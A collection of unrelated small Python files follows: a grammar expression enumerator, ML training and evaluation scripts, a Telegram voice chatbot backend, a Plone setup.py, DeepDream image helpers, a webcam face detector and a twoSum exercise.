#!/usr/bin/python3

from copy import copy
from collections import Counter
import sys
from time import time

name='average'
params=('a','b')

# For each symbol: (isFunction, numParams, isCommutative)
grammar={
	'b':(0,0,0),
	'a':(0,0,0),
	'sum':(1,2,1),
	'half':(1,1,0),
}

# The only limit is the number of primitive functions used controlled by length param

# F ->N1'('P')'|N2'('P','P')'
# N1 ->'half'
# N2 ->'sum'
# P ->'a'|'b'|F

tables=[ [1,2], [1,2] ]
row=[ 'X' for i in range(len(tables))]

def pScalar (tables,row,tableIndex=None,commutative=False):

	global cache

	indexCache = str(tables)
	if indexCache in cache:
		return cache[indexCache]

	if tableIndex==None:
		tableIndex=len(row)

	if tableIndex==1:
		results=[]
		for row[tableIndex-1] in tables[tableIndex-1]:
			results.append(copy(row))
		#print("Opciones:",results)
		return results
	else:
		results=[]
		#print("Empieza el bucle")
		for row[tableIndex-1] in tables[tableIndex-1]:
			if not commutative:
				results.extend(pScalar(tables,row,tableIndex-1))
			else:
				pack=pScalar(tables,row,tableIndex-1)
				#print("Pack:",pack)
				for i in pack:
					pset=Counter(i)
					#print("Set: ",results)
					#print("Lalal",pset)
					exists=False
					for j in results:
						if pset==Counter(j):
							exists=True
							#print("Existe!",pset,j)
					if not exists:
						results.append(i)
		#print("Termina el bucle con ",results)
		cache[str(tables)]=results
		return results

"""
def pScalarGen (tables,row,tableIndex=None):

	if tableIndex==None:
		tableIndex=len(row)

	if tableIndex==1:
		results=[]
		for row[tableIndex-1] in tables[tableIndex-1]:
			results.append(copy(row))
		yield results
	else:
		results=[]
		for row[tableIndex-1] in tables[tableIndex-1]:
			results+=list(pScalarGen(tables,row,tableIndex-1))[0]
		yield results

print('Generator')
time0=time()
for i in pScalarGen(tables,row):
	pass
	print('PScalar',i)
print('Elapsed generator',time()-time0)
"""
"""
time1=time()
print('Recursive')
for i in pScalar(tables,row,commutative=True):
	print('PScalar',i)
print('Elapsed recursive',time()-time1)
sys.exit()
"""

cache={}

# Primitives, params of the parent, and the number of funcions to use inside
def getNodeKey (grammar,maxLevel,minLevel=0):

	global cache

	# Retrieve options that fits in the actual level
	options=[ i for i in grammar if grammar[i][0]<= maxLevel and maxLevel>=minLevel]

	#print( "Options en ",maxLevel,": ",options)
	for i in options:
		isFunction,params,isCommutative=grammar[i]
		#print("pilla "+str(i))
		if isFunction:
			menu=list(getNodeKey(grammar, maxLevel-1,minLevel))
			if menu:
				#indexCache = str(menu)
				#if indexCache in cache:
				if not menu:
					scalarResults=cache[indexCache]
					#print("Hit!",)
				else:
					#print("-menu",menu)
					parts=[ menu for i in range(params) ]
					#print("parts:",parts)
					body=[ 'X' for i in range(len(parts))]
					#print("From parts:",parts)
					scalarResults=pScalar(parts,body,commutative=isCommutative)
					#cache[indexCache]=scalarResults
				for j in scalarResults:
					#print("   Chosen: ",j)
					yield i + '(' + ','.join(j) + ')'
		else:               	# its a parameter
			yield i
	return

time0=time()
cnt=0
maxLevel=int(sys.argv[1])
if len(sys.argv)==3:
	minLevel=int(sys.argv[2])
else:
	minLevel=0
for i in getNodeKey(grammar,maxLevel,minLevel):
	print ("Result: ",i)
	cnt=cnt+1
print("Total:", cnt," en ",time()-time0)

#for i in cache:
#	print("Cache ",i,cache[i])


import torch
from torch.optim import AdamW
from torch.optim.lr_scheduler import LambdaLR
from torch.utils.data import DataLoader
from tqdm import tqdm
from transformers import PreTrainedModel

from .utils import get_prediction

def train_epoch(
    model: PreTrainedModel, train_loader: DataLoader, optim: AdamW, scheduler: LambdaLR
) -> torch.float64:
    """
    Train model epochs
    """
    # Set model to train mode
    model.train()

    total_loss: torch.float64 = 0

    pbar = tqdm(train_loader)

    for batch in pbar:
        optim.zero_grad()

        outputs = get_prediction(model, batch)
        loss = outputs[0]

        # backwards pass
        loss.backward()

        # update weights
        optim.step()

        # update the learning rate
        scheduler.step()

        total_loss += loss.item()

        pbar.set_postfix({"batch loss": loss.item()})

    total_loss /= len(train_loader)

    return total_loss


#!/usr/bin/env python
import random, os, re
from .backend import BackendBase
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
from nlptools.audio.speech import Speech_Deepspeech
from nlptools.audio.utils import *

class TelegramBackend(BackendBase):
    def __init__(self, session_config, token, deepspeech=None, tts=None, **args):
        super().__init__(session_config=session_config, **args)
        self.updater = Updater(token=token, use_context=True)
        self.dispatcher = self.updater.dispatcher
        self.dispatcher.add_handler(CommandHandler("start", TelegramBackend.start))
        self.dispatcher.add_handler(CommandHandler("reset", self.reset))
        self.dispatcher.add_handler(CommandHandler("tts", self.get_tts))
        self.dispatcher.add_handler(MessageHandler(Filters.text, self.query))
        self.dispatcher.add_handler(MessageHandler(Filters.voice, self.voice))
        if deepspeech:
            self.ds_model = Speech_Deepspeech(**deepspeech)
        else:
            self.ds_model = None
        if tts:
            from nlptools.audio.tts import MozillaTTS
            self.tts_model = MozillaTTS(**tts)
        else:
            self.tts_model = None

    @staticmethod
    def start(update, context):
        chat_id = update.message.chat_id
        context.bot.send_message(chat_id=chat_id, text="Elsa is here ~")

    def reset(self, update, context):
        chat_id = update.message.chat_id
        self.init_session()
        context.bot.send_message(chat_id=chat_id, text="Chatbot Reset")

    def get_tts(self, update, context):
        chat_id = update.message.chat_id
        text = update.message.text.strip()
        text = re.split("\s", text, maxsplit=1)
        if len(text) < 2:
            return
        text = text[1]

        random_id = random.randint(0,100000)

        wav_base = "/tmp/{}_{}_%i.wav".format(chat_id, random_id)
        wav_file = "/tmp/{}_{}.wav".format(chat_id, random_id)
        ogg_file = "/tmp/{}_{}.ogg".format(chat_id, random_id)

        wav_files = []

        import spacy
        nlp = spacy.load("en")

        if self.tts_model:
            doc = nlp(text)
            for i, sent in enumerate(doc.sents):
                wavefile = wav_base%i
                wav_files.append(wavefile)
                text = sent.text.strip()
                self.tts_model(text, wavefile)

            concat_wavs(wav_files, wav_file, 0.6)
            wav2ogg(wav_file, ogg_file)
            with open(ogg_file, "rb") as oggf:
                context.bot.send_voice(chat_id=chat_id, voice=oggf)
            os.remove(wav_file)
            os.remove(ogg_file)
            for f in wav_files:
                os.remove(f)
        else:
            context.bot.send_message(chat_id=chat_id, text=text)

    def voice(self, update, context):
        chat_id = update.message.chat_id
        if not self.ds_model:
            context.bot.send_voice(chat_id=chat_id, voice=update.message.voice)
            return

        #convert voice to text
        random_id = random.randint(0,100000)
        ogg_file = "/tmp/{}_{}.ogg".format(chat_id, random_id)
        wav_file = "/tmp/{}_{}.wav".format(chat_id, random_id)
        response_wave_file = "/tmp/response_{}_{}.wav".format(chat_id, random_id)
        response_ogg_file = "/tmp/response_{}_{}.ogg".format(chat_id, random_id)

        update.message.voice.get_file().download(ogg_file)
        try:
            ogg2wav(ogg_file, wav_file)
        except Exception as err:
            context.bot.send_message(chat_id=chat_id, text=err)
            os.remove(ogg_file)
            return

        text = self.ds_model(wav_file)
        os.remove(ogg_file)
        os.remove(wav_file)

        #query
        chat_id, response, score = self.session(text, session_id=chat_id)

        #tts
        if self.tts_model:
            self.tts_model(response, response_wave_file)
            wav2ogg(response_wave_file, response_ogg_file)
            with open(response_ogg_file, "rb") as oggf:
                context.bot.send_voice(chat_id=chat_id, voice=oggf)
            os.remove(response_wave_file)
            os.remove(response_ogg_file)
        else:
            context.bot.send_message(chat_id=chat_id, text=response)

    def query(self, update, context):
        if update.message is None:
            return
        chat_id = update.message.chat_id
        text = update.message.text.strip()
        chat_id, response, score = self.session(text, session_id=chat_id)
        context.bot.send_message(chat_id=chat_id, text=response)

    def run(self):
        import logging
        logging.basicConfig(level=logging.WARNING, format='%(levelname)-8s %(message)s')
        self.updater.start_polling()


# -*- coding: utf-8 -*-
"""
Created on Thu Jan 16 17:24:50 2020

@author: Khalil
"""
import math
mydic={}
n= int(input('donner la taille de list'))
for i in range(1,n+1):
    mydic[i]= i*i
print(mydic)


# coding: utf-8
from setuptools import setup, find_packages
import os

version = '1.0b2.dev0'
description = "A package to convert every image stored and uploaded to a \
Plone site to PNG format."
long_description = open("README.txt").read() + "\n" + \
                   open(os.path.join("docs", "INSTALL.txt")).read() + "\n" + \
                   open(os.path.join("docs", "CREDITS.txt")).read() + "\n" + \
                   open(os.path.join("docs", "HISTORY.txt")).read()

setup(name='openmultimedia.imagewatchdog',
      version=version,
      description=description,
      long_description=long_description,
      classifiers=[
        "Development Status :: 4 - Beta",
        "Environment :: Web Environment",
        "Framework :: Plone",
        "Framework :: Plone :: 4.1",
        "Framework :: Plone :: 4.2",
        "Framework :: Plone :: 4.3",
        "Intended Audience :: System Administrators",
        "License :: OSI Approved :: GNU General Public License v2 (GPLv2)",
        "Operating System :: OS Independent",
        "Programming Language :: Python",
        "Programming Language :: Python :: 2.6",
        "Programming Language :: Python :: 2.7",
        "Topic :: Software Development :: Libraries :: Python Modules",
        ],
      keywords='plone images jpeg gif png',
      author='Juan Pablo Giménez',
      author_email='jpg@rosario.com',
      url='https://github.com/OpenMultimedia/openmultimedia.imagewatchdog',
      license='GPLv2',
      packages=find_packages('src'),
      package_dir={'': 'src'},
      namespace_packages=['openmultimedia', ],
      include_package_data=True,
      zip_safe=False,
      install_requires=[
          'setuptools',
          'Pillow',
          'Products.CMFPlone',
      ],
      extras_require={'test': ['plone.app.testing']},
      entry_points="""
      # -*- Entry points: -*-
      [z3c.autoinclude.plugin]
      target = plone
      """,
      )


import scipy
from keras.preprocessing import image
from keras.applications import inception_v3
from keras import backend as K
import numpy as np

def resize_img(img, size):
    img = np.copy(img)
    factors = (1,
            float(size[0]) / img.shape[1],
            float(size[1]) / img.shape[2],
            1)
    return scipy.ndimage.zoom(img, factors, order=1)

def deprocess_image(x):
    # 通用函数，将一个张量转换为有效图像
    if K.image_data_format() == 'channels_first':
        x = x.reshape((3, x.shape[2], x.shape[3]))
        x = x.transpose((1, 2, 0))
    else:
        x = x.reshape((x.shape[1], x.shape[2], 3))

    x /= 2.
    x += 0.3
    x *= 255.
    x = np.clip(x, 0, 255).astype('uint8')
    return x

def save_img(img, fname):
    pil_img = deprocess_image(np.copy(img))
    scipy.misc.imsave(fname, pil_img)

# 用于打开图像、改变图像大小以及将图像格式转化为 Inception V3 模型能够处理的张量
def preprocess_image(image_path):
    img = image.load_img(image_path)
    img = image.img_to_array(img)
    img = np.expand_dims(img, axis=0)
    img = inception_v3.preprocess_input(img)
    return img


import copy
import random
import warnings
import sys
sys.path.append("..")
import time
import os
import pickle
import torch
from torch import nn
import numpy as np
import pandas as pd
from torch.utils.data import DataLoader
from sklearn import metrics

import utils
import models
from data_utils import CustomDataset

# Set cuda
DEVICE = torch.device("cpu")
if torch.cuda.is_available():
    cuda_num = random.randint(0, (torch.cuda.device_count()-1))
    cuda_name = "cuda:" + str(cuda_num)
    DEVICE = torch.device(cuda_name)

# -----------------------------------
def make_dir(path, dir_name):
    try:
        out_path = path + "/" + dir_name
        if not os.path.exists(out_path):
            os.makedirs(out_path)
            return True
        else:
            print("Directory %s already exists" % dir_name)
            return False
    except OSError:
        print('Error: Creating directory. ' + out_path)
        sys.exit(0)

# extract the corresponding testing data based on the class
def testing_data_extraction(testing_data, label):
    (x_test, y_test_bin) = testing_data
    un_label = np.unique(label)
    # convert to df
    df = pd.DataFrame(x_test)
    df["label"] = y_test_bin
    # extract testing based on label
    new_df = df[df['label'].isin(un_label)]
    # convert back to nd array
    new_testing_X = new_df.iloc[:, :-1].to_numpy()
    new_testing_y = new_df.iloc[:, -1].to_numpy()
    # Verify
    unique, counts = np.unique(new_testing_y, return_counts=True)
    print("New client testing data distribution:", dict(zip(unique, counts)))
    return new_testing_X, new_testing_y

# -----------------------------------
# Get model performance
def get_performance(y_pred, y_test, classification_method):
    accuracy = metrics.accuracy_score(y_test, y_pred)
    if classification_method == "Binary":
        '''Binary classification score'''
        # precision = metrics.precision_score(y_test, y_pred)
        # recall = metrics.recall_score(y_test, y_pred)
        # f1 = metrics.f1_score(y_test, y_pred)
    elif classification_method == "Multi":
        '''Muti class classification'''
        precision_all_classes = metrics.precision_score(y_test, y_pred, average=None)
        recall_all_classes = metrics.recall_score(y_test, y_pred, average=None)
        f1_all_classes = metrics.f1_score(y_test, y_pred, average=None)
        print('Precision for all classes =', precision_all_classes)
        print('Recall for all classes =', recall_all_classes)
        print('F1 for all classes =', f1_all_classes)
        precision = metrics.precision_score(y_test, y_pred, average='macro')
        recall = metrics.recall_score(y_test, y_pred, average='macro')
        f1 = metrics.f1_score(y_test, y_pred, average='macro')
    else:
        print("Classification method does not found.")
        sys.exit()
    print("Classification Metrics: ")
    # print(metrics.confusion_matrix(y_test, y_pred))
    # print(metrics.classification_report(y_test, y_pred))
    print('Accuracy =', accuracy)
    print('Precision =', precision)
    print('Recall =', recall)
    print('F1 =', f1)
    return accuracy, f1, precision, recall

# ------------------------------------------------
def test(model, loss_fn, test_loader, curr_path, classification_method="Multi", device="cpu"):
    results_path = curr_path + "/results/cent-binary.csv"
    model_path = curr_path + "/models/cent-binary" + ".pth"

    # model.load_state_dict(torch.load(model_path))
    model.to(device)
    # test the model
    model.eval()
    y_pred_list = []
    loss = 0.0

    all_true_values = []
    all_pred_values = []
    print("Test the global model")
    with torch.no_grad():
        for data, target in test_loader:
            data, target = data.to(device), target.to(device)
            output = model(data)
            if classification_method == "Binary":
                '''Attach Binary classification label'''
                # y_pred_tag = torch.round(output)
                # y_pred_tensor = y_pred_tag.flatten()
                # y_pred_np_int = y_pred_tensor.type(torch.float32)
                # pred_values = y_pred_np_int.tolist()
                # all_pred_values.extend(pred_values)
                # loss += loss_fn(output, target.reshape(-1, 1)).item()      # Binary classification

            '''Attach true label'''
            act_values = target.tolist()
            all_true_values.extend(act_values)

            # write_predictions(results_path, act_values, pred_values)
            if classification_method == "Multi":
                '''Attach Muti class classification label'''
                if device == "cpu":
                    _, predictions = torch.max(output, 1)
                else:
                    _, predictions = torch.max(output.cpu(), 1)
                all_pred_values.extend(predictions)
                loss = loss_fn(output, target).item()                   # Muti class classification
    accuracy, f1, precision, recall  = get_performance(all_pred_values, all_true_values, classification_method)
    losses = loss/len(test_loader)
    return losses, accuracy, f1, precision, recall

if __name__ == "__main__":
    data_dir = '../2017_data/'
    # hyper-parameters
    epochs = 50
    learning_rate = 0.01
    batch_size = 64
    MLP_first_hidden = 64
    MLP_second_hidden = 128
    num_classes = 8
    num_clients = 20
    training_data_name = str(num_clients) + '_training.pkl'
    classification = "Multi"
    neural_network = "MLP_Mult"
    # create df for results recording
    res_list = []
    # -------------------Create folder for model----------------------
    curr_path = os.getcwd()
    make_dir(curr_path, "../results")
    # -------------- load datasets ----------------------
    print("Loading data...")
    partitioned_data, testing_data, _ = utils.load_data(data_dir, training_data=training_data_name)
    for i in range(num_clients):
        print("\nClient ", str(i+1), "training...")
        (X_train, y_train) = partitioned_data[i]
        # --------------Print Shape-----------------
        # Verify
        unique, counts = np.unique(y_train, return_counts=True)
        print("Client ", str(i+1), "data distribution:", dict(zip(unique, counts)))
        # -------------- Preprocess datasets -----------------
        train_data = CustomDataset(X_train, y_train, neural_network)
        train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=True)
        x_test_new, y_test_new = testing_data_extraction(testing_data, y_train)
        test_data = CustomDataset(x_test_new, y_test_new, neural_network)
        test_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False)
        # -------------- Define model ----------------------
        if classification == "Binary":
            model = models.MLP(input_shape=X_train.shape[1]).to(DEVICE).train()
            optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)
            loss_fn = nn.BCELoss()  # Binary classification
        elif classification == "Multi":
            model = models.MLP_Mult(input_shape=X_train.shape[1], first_hidden=MLP_first_hidden, second_hidden=MLP_second_hidden, num_classes=num_classes).to(DEVICE).train()
            optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)
            loss_fn = nn.CrossEntropyLoss()  # Muti class classification
        else:
            print("Classification method does not found.")
            sys.exit()
        # -------------------Training model----------------------
        train_time = time.time()
        model_weights, _ = utils.train(model, optimizer, loss_fn, train_loader, epochs, neural_network, i, device=DEVICE)
        training_time = (time.time() - train_time) / 60
        print("---Training time: %s minutes. ---" % training_time)
        # -------------------Testing model----------------------
        test_time = time.time()
        model.load_state_dict(copy.deepcopy(model_weights))
        loss, accuracy, f1, precision, recall = test(model, loss_fn, test_loader, curr_path, device=DEVICE)
        res_list.append([accuracy, precision, recall, f1, loss, training_time])
        print("---Testing time: %s minutes. ---" % ((time.time() - test_time) / 60))
    res_df = pd.DataFrame(res_list, columns=['Accuracy', 'Precision', 'Recall', 'F1', 'Loss', 'Training_time(min)'])
    res_df.to_csv("results/2017_clients_data_res.csv")


import cv2
import sys
if __name__ == '__main__':
    faceCascade = cv2.CascadeClassifier("Resources/haarcascade_frontalface_default.xml")
    cap = cv2.VideoCapture(0)
    fourcc = cv2.VideoWriter_fourcc(*'XVID')
    while cap.isOpened():
        ret, frame = cap.read()
        gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
        faces = faceCascade.detectMultiScale(
            gray,
            scaleFactor=1.3,
            minNeighbors=3,
            minSize=(30, 30),
            flags=cv2.ORB_HARRIS_SCORE
        )
        for (x, y, w, h) in faces:
            cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)
        if ret == True:
            cv2.imshow('frame', frame)
            if cv2.waitKey(1) & 0xff == ord('q'):
                break


class Solution:
    def twoSum (self, l1, target):
        for i in range(len(l1)):
            for j in range(i+1,len(l1)):
                if l1[i] + l1[j] == target:
                    return [l1[i], l1[j]]
        print("none")
        # O(N)^2
    def twoSum2(self, l1, target):
        dict  = {}
        for i in range(len(l1)):
            complement = target - l1[i]
            if dict.get(complement) != None:
                print(i, dict[complement])
                return [i, dict[complement]]

            else:
                dict[l1[i]]= i

        print("none")

sol = Solution()
sol.twoSum([2,3,7], 11)
sol.twoSum2([2,3,7], 10)